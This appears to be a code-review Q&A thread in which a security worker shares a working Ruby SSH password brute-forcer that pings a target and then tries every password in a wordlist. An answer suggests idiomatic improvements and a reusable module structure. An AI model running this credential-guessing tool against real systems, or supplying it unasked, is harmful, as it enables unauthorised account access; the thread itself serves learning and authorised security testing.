Simple SSH bruteforcer in Ruby

Question

I'm pretty new to Ruby, and working in the IT security field, I thought to make something useful to my work while I learn the language (even though I'm reinventing the wheel).

The script is working fine and doing what I wanted it to, first checking connectivity thanks to ICMP and then bruteforcing through a wordlist to see if the SSH connection is accepted or not, and move on until it is (or the end of the file).

The usage is as follows:

./ssh_brute.rb IP_ADDRESS USER PATH_TO_WORDLIST

My first concern is that I like learning a language properly and writing in its particular style, not having code that "just works". Also the code seems pretty slow to similar programs I have used before, and I would like to know if it had anything with the way it was written or if Ruby is just slower as C for example.

require 'net/ssh'
require 'net/ping'
#Checking arguments and setting them into variables
if ARGV.length != 3
 puts "Please RTFM !"
 exit
end
target = ARGV[0].to_s
user = ARGV[1].to_s
wordlist_file=ARGV[2].to_s
#Checking network connectivity is good enough (more than 3/5 pings)
icmp = Net::Ping::ICMP.new(target)
network = 0
(1..5).each do 
 if icmp.ping
 network += 1
 end
end
if network >= 3
 puts "Network connectivity with the target is OK !"
else
 puts "Network connectivity with the target seems poor, please check it then try again ! "
 exit
end
#Counting lines to give progression + opening wordlist file
File.foreach(wordlist_file) {}
total_lines = $.
wordlist = open(wordlist_file, "r")
linecounter = 0
#Main part, each pass tries to connect to the target using the supplied user + the current line of the list as a password. If it succeeds it exits the program
while pass = wordlist.gets.chomp()
 linecounter += 1
 print "\rTrying password #{pass}, progress : #{linecounter}/#{total_lines} !"
 begin
 result1 = Net::SSH.start(target,
 user,
 :password => pass,
 :auth_methods => ["password"],
 :number_of_password_prompts => 0
 ) 
 rescue Net::SSH::AuthenticationFailed => auth
 else
 puts "\nThe password is #{pass}"
 exit
 end
end
puts "\nThe password wasn't found in the list !"

• Spike: The network >= 3 condition can be inverted to avoid an else clause: unless network >= 3; abort "Connectivity poor..."; end; puts "Connectivity OK..."; #rest of code

Answer 1

target = ARGV[0].to_s
user = ARGV[1].to_s
wordlist_file=ARGV[2].to_s

Aren't those Strings already?

---

network = 0
(1..5).each do 
 if icmp.ping
 network += 1
 end
end

would be more idiomatic as:

network = 5.times.count do
 icmp.ping
end

#count will count how many times block returned true, exactly what you want.

---

Ruby has "perlish" globals like $., but they are currently advised against, and Matz even stated how he regrets ever adding them. count could help you here as well:

total_lines = File.foreach(wordlist_file).count

Notice how without a block #count counts everything. Anyway, all stuff with counting lines and while loop in your code is unnecessarily complicated, if you want to loop through lines in a file, #foreach does just that:

File.foreach(wordlist_file).with_index do |line, idx|
 # process line(from file, you need chomp) and idx here
end

No need for linecounter, and Ruby will close the file at the end of block. In general, we let the Ruby iterate for us. Get a good grasp of iterators and Enumerable module, it makes things much easier.

---

Minor, less important thingies:

puts "\nThe password is #{pass}"
exit

equals:

abort "\nThe password is #{pass}"

Style issue, common Ruby agreement is too use 2 spaces indentation.

---

Unless I missed something, there are no obvious and reasonable optimizations, apart from getting rid of:

#Counting lines to give progression + opening wordlist file
File.foreach(wordlist_file) {}
total_lines = $.

I don't know what you expected, but this code just iterates whole file and checks where it needed to stop, so you basically process this file twice. As in my example of processing file, you can just use #foreach to process it, Ruby will know when to stop iterating.

Still, Ruby is much slower than C or Java, it's just the way it is.

---

Oh, I forgot the obvious last time. If you structured your code into methods, and put them in a module, this script would become much more reusable tool.

module Brute
 def self.force(target, user, wordlist_file)
 if check_connectivity(target)
 wordlist = read_wordlist(wordlist_file)
 wordlist.each do |password|
 # ...
 end
 else
 # ...
 end
 end
 def password_correct?(target, user, pasword)
 # ...
 end
 def check_connectivity(target)
 # ...
 end
 def read_wordlist(wordlist_file)
 # returns array of passwords
 end
end
if __FILE__ == 0ドル
 if ARGV.length != 3
 abort "Please RTFM !"
 end
 Brute.force(ARGV[0], ARGV[1], ARGV[2])
end

You could than require this file and use Brute.force(,,) in any other script, but if __FILE__ == 0ドル is a common Ruby idiom than checks if file we are in is the file that was run, so you could also just run it from command line like it used to work.